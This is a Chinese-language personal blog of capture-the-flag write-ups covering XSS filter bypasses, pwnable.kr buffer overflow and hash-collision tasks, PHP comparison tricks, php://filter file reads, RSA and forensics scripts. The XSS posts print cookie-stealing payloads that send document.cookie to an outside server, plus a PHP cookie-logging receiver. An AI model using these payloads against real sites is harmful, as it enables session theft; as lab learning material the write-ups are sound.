Conlonial's blog


  • Home

  • Archives

XSS2 & global page

Posted on 2019-09-25

XSS2 & global page

——XSS2——

参考:

  • GBK 宽字节绕过

    http://xuelinf.github.io/2016/05/10/-level4%E7%A6%BB%E5%A5%87%E7%9A%84%E5%AE%BD%E5%AD%97%E8%8A%82-XSS%E5%8D%87%E7%BA%A7%E4%B9%8B%E8%B7%AF/
    https://lyiang.wordpress.com/2015/06/09/sql%E6%B3%A8%E5%85%A5%EF%BC%9A%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%EF%BC%88gbk%E5%8F%8C%E5%AD%97%E8%8A%82%E7%BB%95%E8%BF%87%EF%BC%89/

  • 绕过实例(0x02)

    https://www.angelwhu.com/blog/?p=490

  • 转码工具:

    https://www.toolmao.com/xsstranser

分析:

XSS2绕过和XSS1绕过是一样的,都是对前后双引号进行绕过,但是XSS2过滤方法是把每个输入字符前加一个\反斜杠,所以利用宽字节绕过将XSS1的payload进行修改即可。
首先在双引号的转义%22前加上%c0把前面的双引号闭合,剩余部分只能使用编码来解决。使用string.fromcharcode()对后面部分编码来绕过。

1
2
编码前payload:%c0%22;decument.write("<script>document.location='http://118.190.246.63/get-cookie.php?x='+document.cookie;</script>");//
编码后: %c0%22;document.write(String.fromCharCode(34,60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,49,49,56,46,49,57,48,46,50,52,54,46,54,51,47,103,101,116,45,99,111,111,107,105,101,46,112,104,112,63,120,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,32,47,62,34));//

注意宽字节绕过在Wired filter ce’shi测试时要在地址栏直接输入,否则无法绕过
在xss界面输入相应payload和MD验证码,就可以在服务器获得flag


—–EasyTrick——

参考:

  • RSA (关注数学推导)

    http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html

步骤如下:

1
2
3
4
5
找出两个互为素数的 p 和 q;
计算 N = p * q;
计算 φ(N) = φ(p * q) = (p-1) * (q-1);
找出一个 e,1 < e < φ(N),且e与φ(N) 互质
根据 e * d ≡ 1(mod φ(N))

  • 扩展欧几里得:

    https://www.cnblogs.com/GjqDream/p/11537934.html

分析:

这道题我们先直接在虚拟机链接所给的nccat,可以知道,本题给出了N、e、p+q的值,那么思路就是

1
2
3
4
已知数据:p + q 、N(p * q)、e
所求数据:d(私钥)
e * d ≡ 1 (mod φ(n) )
e * d – k * φ(n) = 1

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def ex_gcd(a,b):
if b == 0:
return 1,0,a
else:
x,y,q = ex_gcd(b,a%b)
x,y = y,(x-(a//b)*y)
print ("a%b = ",a%b,"x =",x,"y =",y)
return x,y,q
N = int(input("input N:"))
P_Q = int(input("input P+Q :"))
a = int(input("please input e: "))
b = N-P_Q+1
x,y,q = ex_gcd(a,b)
print("x:",x)
print ("y",y)
print("e*d+k*fn = ",a*x+b*y)

每次给的p+q都不同,所以算出来的d(就是程序中的x)也不一样
进行交互得到flag

XSS1 & babyxss再回顾

Posted on 2019-09-04

XSS1 & babyxss再回顾

——XSS1——

参考:

  • XSS常用绕过(1)

    https://blog.csdn.net/hxsstar/article/details/21519301
    https://damit5.com/2017/10/15/XSS-%E7%BB%95%E8%BF%87%E5%B8%B8%E7%94%A8%E8%AF%AD%E5%8F%A5/

  • 常用绕过(2)

    https://blog.csdn.net/qq_29277155/article/details/51320064

  • 主动闭合标签实现注入代码部分
    > https://zhuanlan.zhihu.com/p/26177815
    利用引号闭合前引号,然后分号换行,加入代码,再闭合一个引号
  • script标签嵌套

    https://bbs.csdn.net/topics/390415039

分析:

这道题整体思路是在构造xss绕过,将绕过payload以URL形式发送,同时还有MD5截断验证。flag在cookie中。绕过的规则源码在xss.php中,可以看到是将你输入的字符串中的"",<>替换为空格,所以我们这里需要对这些符号进行转义。常见如下:

1
2
3
4
&#34;   &quot;   "     双引号
&#38; &amp; & &符号
&#60; &lt; < 小于号
&#62; &gt; > 大于号

这道题需要进行绕过分析,一直输验证码太麻烦所以我把源码复制下来,在本地进行测试。
同时,在检查源码时可以看到:
Imgur
我们需要闭合前后的双引号。但是我们这道题不能照搬上例,因为我们后引号后没有分号,所以我选择用//把后面的整体注释掉。
所以我做了如下尝试:

1
2
payload:";alert(1);//
转义后:&quot;;alert(1);// 本地可以弹窗

随后我就试着构造需要的payload

1
2
payload: ";<script src=http://xssye.com/V5uu></script>;//
转义后: &quot;;&lt;script src=http://xssye.com/V5uu&gt;&lt;/script&gt;;// 失败

由于不清楚js标签的一些规则,这里陷入了瓶颈。突然想到hint提到了标签的问题,搜到script标签是不能直接嵌套script标签的,要用documnet.write()
重新构造了payload

1
2
payload: ";document.write("<script/src=http://xssye.com/V5uu></script>");//
转义后: &quot;;document.write(&quot;&lt;script/src=http://xssye.com/V5uu&gt;&lt;/script&gt;&quot;);//

在xss.php页面进行提交,将地址栏得到的URL作为payload进行提交,我发现在xss平台得不到cookie,这个问题困扰了好多天,并且由于用别人的平台我也不清楚到底出错在那里。我决定使用自己的服务器来做。(所以到最后我也不知道为啥用外面的平台我做不出来555)
接下来的问题就是在服务器略微配置,通过查看日志就可以看到cookie了并且我在github clone了清华的一个平台,也非常好用,接下来这道题我放弃了使用现成的XSS平台,转用自己的服务器很顺利的做出来了XSS1,并且重新做了babyxss。


1.直接在服务器获取

  • 参考:https://blog.csdn.net/qq_40273198/article/details/84328802

首先在服务器上配置LAMP后,在/var/www/html下建一个get-cookie.php的文件,代码为:

1
2
3
4
<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>

这里用babyxss举例:

1
payload:<script>document.location='http://yourlocate/get-cookie.php?x='+document.cookie;</script>          //在使用时根据需要进行编码转换

apache的access log 在/var/log/apache2中 用cat命令打开即可
效果如下:Imgur

2.使用数据接收平台

  • 链接:https://github.com/firesunCN/BlueLotus_XSSReceiver 再配置,这个平台可以邮件通知
    XSS1就是使用了这个平台
    基本绕过思路同上,写一个payload试试
1
2
payload:";ducoment.write("<img src=http://yourlocate/xss/?cookie="+document.cookie+" />");//
编码后:&quot;;document.write(&quot;&lt;img src=http://yourlocate/xss/?cookie=&quot;+document.cookie+&quot; /&gt;&quot;);//

最终的payload为:

1
xss.php?name=%26quot%3B%3Bdocument.write%28%26quot%3B%26lt%3Bimg+src%3Dhttp%3A%2F%2Fyourlocate%2Fxss%2F%3Fcookie%3D%26quot%3B%2Bdocument.cookie%2B%26quot%3B+%2F%26gt%3B%26quot%3B%29%3B%2F%2F

提交后终于得到了cookie!
Imgur
撒花完结!

pwn-bof & baby xss

Posted on 2019-09-04

pwn-bof & baby xss

—– bof—–

参考:

  • 详细解析ESP寄存器与EBP寄存器:

    https://blog.csdn.net/u011822516/article/details/20001765

  • 函数栈&EIP、EBP、ESP寄存器的作用: ESP是栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
    EBP是基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈低通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

    https://www.k2zone.cn/?p=1911


分析:

转到Download :http://pwnable.kr/bin/bof 下载bof文件,拖入IDA-32bits
F5编译后查看main函数,跟到func函数后,可知即将a1覆盖为0xCAFEBABE 即可。
Imgur
s是ebp-2c,a1是ebp+8h,距离是(2c+8h=52)52,所以要覆盖52个字符.
再加上0xCAFEBABE,注意小端输入
所以输入(python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
ls得到flag文件
Imgur


——babyxss—–

参考:

  • 基础知识

    https://zhuanlan.zhihu.com/p/37455061

  • MD5截断比较:

    https://www.cnblogs.com/kurokoleung/p/6363845.html
    http://blog.lnyas.xyz/?p=228


分析:

这道题思路是通过XSS获取cookie,再通过burpsuit 抓包上传获得 flag,本身的xss没有任何r绕过,主要是一个md5截断作为验证码,根据参考的MD5截断程序编写babyxs.py,专门用作验证码获取。
这道题直接打开xss平台,选择默认模式,将平台生成的代码输入文本框,再输入验证码,就可以在平台得到cookie
我输入的代码如下:</tExtArEa>'"><sCRiPt sRC=http://xssye.com/uc2M></sCrIpT>
得到cookie:Imgur
打开burpsuit,在intercept off 下打开 admin.php,再intercept on 进行抓包
得到Imgur
将cookie中PHPSESSID=8062ffcea7f0e79ad37339918dc13fe8改为我们得到的token=a9011a0e551f181c1c526881befac44d
利用repeater发包后得到flag
Imgur

Rapid Typing & fd in pwnable & col

Posted on 2019-08-08

Rapid Typing& fd in pwnable & col

—– Rapid Typing—–

参考:

  • python核心编程 15章正则表达式
  • SVG代码转图片

    https://me.jinchuang.org/archives/392.html


分析:

思路参考calulator,不同点在本题所需输入的内容为svg图片,
svg部分截取: Imgur
解码后:Imgur
可见它的代码是xy的二维坐标,将svg图片代码段截取后,转为png图片后,可见,即为我们所求输入内容。
按照x坐标排列后,可见>a-z 0-9< 内即为所求,按正则匹配:
Imgur
再匹配去掉>< 化为字符串即可:
Imgur
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<le> import requests
import base64
import re
r = requests.get('http://123.207.149.64:23331/captcha/')
> soup = BeautifulSoup(r.text,'lxml')
p = soup.find(name='img')
q = str(p)
s= q[36:-4] #把svg代码部分截出
lens = len(s)
lenx = lens - (lens % 4 if lens % 4 else 4)
try:
result = base64.decodestring(s[:lenx])
except:
pass #10-15是解决base64解码直接decode出现的 TypeError: Incorrect padding错误 注:https://blog.csdn.net/lisai17/article/details/21091791
anwser = BeautifulSoup(result,'lxml')
a = anwser.find_all(name='text')
b = sorted(a,key=lambda x:int(x.get('x'))) #对text内容以x大小为序排列
c = '>\w<' #正则匹配出所有特定字符
d = re.findall(c,str(b)) #注意正则匹配模式串还有要匹配的串必须是字符串类型,用str转换
g = re.findall('\w',str(d))
h = ''.join(g) #把列表转化为字符串
print h
r = requests.get ('http://123.207.149.64:23331/captcha/?code='+h, cookies=r.cookies)
print r.text`


—–fd—–

参考:

  • fd:文件描述符—标准输入(standard input)的文件描述符是 0,标准输出(standard output)是1,标准错误(standard error)是 2 .

    注:https://blog.csdn.net/cywosp/article/details/38965239

  • read函数 :ssize_t read(int fd,void * buf ,size_t count);
    read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。
  • atoi函数:atoi() 函数用来将字符串转换成整数(int),其原型为:int atoi (const char * str);【函数说明】atoi() 函数会扫描参数 str 字符串,跳过前面的空白字符(例如空格,tab缩进等,可以通过isspace()函数来检测),直到遇上数字或正负符号才开始做转换,而再遇到非数字或字符串结束时(‘\0’)才结束转换,并将结果返回。【返回值】返回转换后的整型数;如果 str 不能转换成 int 或者 str 为空字符串,那么将返回 0。

  • arec,argv[] int main(int argc,char *argv[]);第一个参数argc用来存放命令行参数的个数;第二个参数argv是指针数组,它是用来存放命令行中各个参数和命令字的字符串的。关于相关输入:要在执行文件语句后直接加赋值。

    例:https://blog.csdn.net/Eastmount/article/details/20413773


分析:

通过所给远程端口获取题目,ls后,有fd(ELF) ,fd.c ,flag三文件,fd为fd.c编译。尝试打开flag 没有权限 打开fd.c查看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

我们希望执行system("/bin/cat flag"); 故需执行!strcmp("LETMEWIN\n", buf),即令buf=LETMEWIN
看到read(fd,buf,32),由read函数的定义,需要使fd==0,即标准输入 故fd=0x1234=4660
输入./fd 4660后可进行输入,输入LETMEWIN,得flag


—–col—–

参考:

  • hash collision 就是针对哈希函数的特性,精心构造数据,使所有数据的哈希值相同,当这些数据保存到哈希表中,哈希表就会退化为单链表,哈希表的各种操作的时间复杂度提升一个数量级,因此会消耗大量CPU资源,导致系统无法快速响应请求,从而达到拒绝服务攻击(Dos)的目的。 本题就是构造与所给hashcode相同的值

    注:https://www.kawabangga.com/posts/2493 http://vearne.cc/archives/34477

  • 《深入理解计算机系统》2.1.4节,大部分机器存储对象以小端法存储.
  • 关于输入,使用了shell语言中的反括号,反引号在Linux shell命令行中有特殊的含义:反引号间的内容,会被shell先执行。其输出被放入主命令后,主命令再被执行

    注:https://www.jianshu.com/p/ed41f2e48464


分析

与fd相似,按所给进行远程连接后,打开col.c分析 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

首先定义了函数check_password,作用是将p(char类型,1字节),强制转化为int型(4字节)再赋给ip,循环5次相加后得到一个20字节的数
再看main函数部分后,得知当传入的参数经check_password后与所给的hashcode相同时 获得flag,所以20个字节的char p会被分成5段,一段4个字节,
就是我们找5个数相加为0x21DD09EC即可。
我先将0x21DD09EC转为10进制数后,随便找了一个数(123456789)*4后,相减得到最后一个数(16进制:0x46DD598)。
另外注意在输入时使用小端输入。 输入为:

1
./col '0x75BCD15'*4+'0X46DD598'

但是在直接输入了后依然不对,最后找到原因是shell不能直接识别这样的输入,需要写shell语言格式或利用其他语言传参。用其它语言用反括号隔开
正确输入为:

1
./col `python -c "print '\x15\xcd\x5b\x07' * 4 + '\x98\xd5\x6d\x04'"`

web 题解(1)

Posted on 2019-07-22

web 题解

basic php

参考:

https://hackfun.org/2018/01/09/CTF%E4%B8%AD%E5%B8%B8%E8%A7%81PHP%E7%89%B9%E6%80%A7%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

playload1(参考23):

http://123.207.149.64:23331/feature/?name=1&password=1&test=QNKCDZO

另:不赋值的方法本题不使用,具体原因待测

playload2(参考07):

http://123.207.149.64:23331/feature/?name[]=1&password[]=2&test=QNKCDZO

Hint:由于sha1()函数和md5()函数在处理传入参数为数组时会报警并都返回NULL,构造并传入2个不同数组便可以成功通过if ($_GET['name'] == $_GET['password'])和else if (sha1($_GET['name']) === sha1($_GET['password']))检测。

basic php2

参考:

https://www.bodkin.ren/index.php/archives/168/ ereg()和strpos()部分例子
1. is_int() 函数用于检测变量是否是整数。
2. strpos() 函数:查找字符串在另一字符串中第一次出现的位置。

Hint:

strpos() 函数对大小写敏感。与ereg()两个函数都是处理字符串的函数;这时就可以利用数组来绕过;

playload: http://123.207.149.64:23360/user/27416cf22fc4ed74b1cd264585053b57fed14088/index.php?content[]=php

Basicfileinclude

参考:

1. 白帽子php文件包含漏洞部分;
2. http://mang0.me/archis/844a29d4/
3. https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/ 
4. https://xz.aliyun.com/t/3085
由上述可知关键在 php://filter 可以读取本地文件,而 index.php?file=php://filter/read=convert.base64-encode/resource=index.php

指定末尾文件,可以读到base64编码后的文件内容,ctf中常有题目可读文件源码。

playload:

http://123.207.149.64:23338/?page=php://filter/read=convert.base64-encode/resource=flag

ubuntu base64解码指令:

echo aGEgaGE/IHlvdSB3YW50IGZsYWc/IGZsYWcgaXMgaGVyZTw/cGhwDQovLyB0cnkgdG8gcmVhZCB0aGlzIHNvdXJjZSBjb2RlDQovLyRmbGFnID0gJ2ZsYWd7cmVhbGx5X2Jhc2ljX3NraWxsX3dlYl9kb2dfc2hvdWxkX2tub3d9JzsNCj8+LCBidXQgZG9uJ3QgbGV0IHlvdSBzZWUhDQo= | base64 --decode

20100502进度

Posted on 2019-05-02

20190502进度

HTML&PHP学习笔记

1. 属性值应该始终被包括在引号内,一般使用双引号,当属性值带括号时使用单引号

2. 在不产生一个新段落的情况下进行换行(新行),请使用
标签

3.对于 HTML,无法通过在 HTML 代码中添加额外的空格或换行来改变输出的效果。当显示页面时,浏览器会移除源代码中多余的空格和空行。所有连续的空格或空行都会被算作一个空格。需要注意的是,HTML 代码中的所有连续的空行(换行)也被显示为一个空格

4.PHP EOF以 <<<EOF 开始标记开始,以 EOF 结束标记结束,结束标记必须顶头写,不能有缩进和空格,且在结束标记末尾要有分号 ,结尾单独占一行

5.今天简单学习和动手编写了html与php,明天学习phpmysql

20190429进度

Posted on 2019-04-29

20190429进度

USB

先利用使用wireshark自带的tshark命令行工具,可以将 leftover capture data单独提取出来,具体如下:先在tshark文件夹下利用cmd命令行执行

1
tshark.exe -r usb1.pcap -T fields -e usb.capdata > usbdata.txt

注意要以管理员身份运行cmd:在以下文件夹中右击以管理员打开cmd.exe

Imgur

1
C:\Windows\System32

可以得到usbdata.txt,

Imgur

可以看到每一个数据包的数据区有四个字节,故这是一个鼠标流量数据。第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。

对网上的代码修改后可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nums = []
keys = open('usbdata.txt','r')
posx = 0
posy = 0
for line in keys:
if len(line) != 10 :
continue
x = int(line[2:4],16)
y = int(line[4:6],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 :
print posx , posy

运行后得到坐标点,

Imgur
Imgur

再利用gnuplot绘图得到

Imgur

再利用手机操作进行镜像可以看到flag

Imgur


开始阅读白帽子讲web安全

post20190428进度

Posted on 2019-04-28

20190428进度

练习了六个python编程题目,继续读python核心编程

Pkcrake

利用advanced zip password recovered 中plain-text模式,

Imgur

在解出的Encrypted.zip文件中secrect.txt即得flag Imgur

Babybase

利用request和 base 对txt文件进行解码,因为不确定为base64或base32或16 ,利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import base64
import requests

def download(url):
return requests.get(url).text

steps = []
url = "https://oj.blue-whale.me/files/static/uploads/bbb45d3f0b5da971903660c57ac8780f/base.txt"

print "[+] Downloading encrypted file..."
p = download(url)
n = ""

while True:
# Base16
try:
print "[?] using base16 deocde"
n = base64.b16decode(p)
print "[+] %s" % (n)
steps.append(16)
p = n
continue
except:
pass
# Base32
try:
print "[?] using base32 deocde"
n = base64.b32decode(p)
print "[+] %s" % (n)
steps.append(32)
p = n
continue
except:
pass
# Base64
try:
print "[?] using base64 deocde"
n = base64.b64decode(p)
print "[+] %s" % (n)
steps.append(64)
p = n
continue
except:
pass
break

print "[+] flag found : %s" % (n)
print "[+] steps : %s" % (steps)

解得flag Imgur

20190425进度

Posted on 2019-04-25

20190425进度

Forensics1

用wireshake 打开文件,分析http部分:

Imgur

可以看到传送的内容是一张png图片:

Imgur

png图片文件头标志是8950 4e47 0d0a 1a0a,故对原始数据内以8950 4e47 0d0a 1a0a开头的部分进行截取即为图片部分:

Imgur

将图片部分以原始数据截取下来后进行处理,先将数据以png格式保存

1
2
3
4
f = open('pc.png','wb')#文件以二进制写模式打开
s ='89504e470d0a1a0a0000000d49484452000000c8000000c80802000000223a39c9000005104944415478daedd9516ed34800c7e140d5f78a7b0097e08d23a00a55ea05ca41ca059050857a04de7a89967b54483c2228b33bda617662bb21c9bf80f47d0fabc64decf1f8e771b63cbabbbb5bc1be3d121609c222425844088b086111212c22844584b088101611c222425844088b086111212c228445c4cfb0be7dfb767878587ffefaf5ebc1c1c1e3c78febcbefdfbf6f7d80ba93dbdbdba3a3a385b77dfaf4e9f9f3e7db1d6897717efefcf9e3c78faf5ebdda7d2aff46272727171717f75e9d2dfc0cebf2f2f2d9b3674f9f3eed7f5d6bdb3aac92cbcdcdcd26976d97b07619e75c58933bdc71367eafb9c19719383b3b7bfffefd7e0ff733ac12efdbb76f8772779ccac9581f72d6ee25acd5bf4bfede4fea9fb0ea7ad8367df8f0a14df4fa68da7367d53d7a4a40c7c7c76d7b7d92aea6c2aa2bd3f0b6f5675919d29b376fca3bafafafebfbcbaf6a0457575775b4ede393e3ec0fb4306b759fe5873afebacf61425ebf7e5d6ee8c98d0b439abc7eed74da244f8eb3df58dfd9df00fd73e0de8f2f9c513cac762d7f69c56aa7d7afa54349e5e5cb972ffb7dce9dc370a03298172f5e94cf3e79f2a44ccde9e9e9bb77efbe7cf9525ed62f04e5e8e7e7e76d76868ff7976179a92fbf6dfb2ca32d5beaa7365cb1fa8f0f439a0bab4e4e9d87c971d67dd6a3f493bc1ed6dc694e4ef2f28ab57c4b3c4458fde2d46ea6f5b0fa19ef7738f76d713dac3298f243dd737959c36af338bc7f78d9dfb2abb51b74086b7225d83cacb9214d5ebfe1b793e3ec6fcee5b0e64e7372929787573e52febbc76f5abf1656df507f19dab36cb88493fb5cfd57677fe6fb0d6bf3ef76bf37acc9716e1ed6f2690e93fc47af58fd6a5f465357acb2b1bc9c3cbd85331ffe87f157c3ea1f5baba91ba03d4d96cd853537ddc3c6fee3c39026afdf30a4c971b649ae27353c16868dcba7b9c919ad1ef83b56ff67adaa1ebb2d4ee5ebc2fa8ab5faff77ff21ac619f758793079a0babcc637d4f5b1ae7c6d93f26da379b750b61b53df4cbf0b0b15eda61487326afdfe438db77edb2deb4e1b58dfdccaf7f7c729217ce68950e6b6bc39ddadf16fbfd73c31ff8c7ccf49036ff43e02efe82b086c579bff322acd02964ff40bab561ed1d9ee27bfc47835dae62ffcc6aee7d786d31a4fd1e281dd643fc930eec91b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222425844088b086111212c22844584b088101611c222e20759b4e8cb3d42ad580000000049454e44ae426082'
f = write(s.decode('hex'))
f.close()

图片内即为flag

Imgur


Invisible flag

打开图片后发现长度不够,内容显示不全,通过010editor分析,可知图片的16进制编码格式:

Imgur

除了png文件头标志外接下来的地方就是IHDR数据块:

0000 000d为IHDR头块长

4948 4452IHDR标识

0000 0234图像的宽

0000 0190图像的高

图片是一个564*400的图片,试着用tweakpng将图片高修改到564时即得flag

Imgur

20190424进度

Posted on 2019-04-24

20190424进度

Calculator

学习request库的用法后,思路是写脚本把算式部分截取后计算,加上cookies再发送上服务器。再返回的即为flag

1
2
3
4
5
6
import requests
r = requests.get('http://web1.blue-whale.me:23331/calculator/')
print eval (r.text[515:-133])
p = eval (r.text[515:-133])
r = requests.get ('http://web1.blue-whale.me:23331/calculator/?answer='+str(p), cookies=r.cookies)
print r.text

Imgur


reverse sign in

通过分析main函数,看到如下的逻辑关系:

Imgur

i与所给内存异或后为i的值即为所求。代码如下:

1
2
3
4
5
d =[0x66,0x6d,0x63,0x64,0x7f,0x3c,0x36,0x72,0x57,0x42,0x64,0x3b,0x7b,0x52,0x7c,0x3c,0x66,0x54,0x60,0x60,0x27,0x4a,0x49,0x7f,0x71,0x58,0x52,0x72,0x7d,0x75,0x2a,0x62,0x00]
table = []
for i in range(0,32):
table.append(i^d[i])
print table

把得到的列表转化为字符串形式,再把每个数字转化为ascii码即为flag

12

Conlonial

recorder

20 posts
1 tags
© 2019 Conlonial
Powered by Hexo
|
Theme — NexT.Pisces v5.1.4